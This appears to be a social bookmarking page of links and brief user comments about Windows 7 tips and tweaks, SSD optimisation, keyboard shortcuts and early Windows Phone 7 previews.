The Cleverest Geeky Windows Tricks Everyone Should Know
http://lifehacker.com/5543354/the-cleverest-geeky-windows-tricks-everyone-should-know
You might recognize a few of these tips (we've covered most of them here before), but chances are good there's something new in the list for just about everybody. And if you know all of them already? Pat yourself on the back for your masterful geek skills.
Deep inside the Windows 7 Public Beta: an in-depth tour: Page 1
http://arstechnica.com/articles/paedia/windows-7-beta.ars
Let's just cut to the chase here: Windows 7 is built on top of Windows Vista. It doesn't roll back the major changes that Vista made; it doesn't reduce system requirements
Interesting article on thevarious major changes in the Windows 7 UI. I have to agree that most of it is for the better.
Gizmodo - Windows 7 RC1: 10 Things You Need to Know - Windows 7 RC1
http://gizmodo.com/5241882/windows-7-rc1-10-things-you-need-to-know
Q:Holy Crap, Microsoft Is Tripping on Acid! A:Yes http://cache.gawker.com/assets/images/gizmodo/2009/05/winground.jpg
Windows 7 has been sounding very promising.
9 Essential Tips To Speed Up Windows 7 | How-To
http://www.hongkiat.com/blog/essential-tips-to-speed-up-windows-7/
9 Essential Tips To Speed Up Windows 7: The Microsoft Windows 7 operating system has been designed for delivering ... http://bit.ly/9QxAHy
60 tweaks and hacks for Windows 7, Vista or XP | News | TechRadar UK
http://www.techradar.com/news/computing/pc/60-tweaks-and-hacks-for-windows-7-vista-or-xp-685480
tweaks
60 tweaks and hacks for Windows 7, Vista or XP How to customise your PC to make it run the way you want : TechRadar UK
How to Take Full Advantage of Your Solid-State Drive
http://lifehacker.com/5586733/how-to-take-full-advantage-of-your-solid+state-drive
Solid-state drives (SSDs) have grown popular in recent years for the impressive speed increases your system gains using them. To get the most from your SSD, however, you can (and should) do a few things differently.
15 Killer Windows 7 Keyboard Shortcuts That Might Surprise You
http://www.guidingtech.com/4535/windows-7-keyboard-shortcut/
You might already know these, but they're useful none the less.
Windows Phone 7 in-depth preview -- Engadget
http://www.engadget.com/2010/07/19/windows-phone-7-in-depth-preview/
Does look cool. Glad to see them innovating rather than just copying Apple.
crap! windows phone 7 doesn't sound horrible :( http://www.engadget.com/2010/07/19/windows-phone-7-in-depth-preview/
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@mehuldadhania WinMo7 still has problems http://thegvrv.com/s/e Android rocks with Enterprise app syncing. Effortless.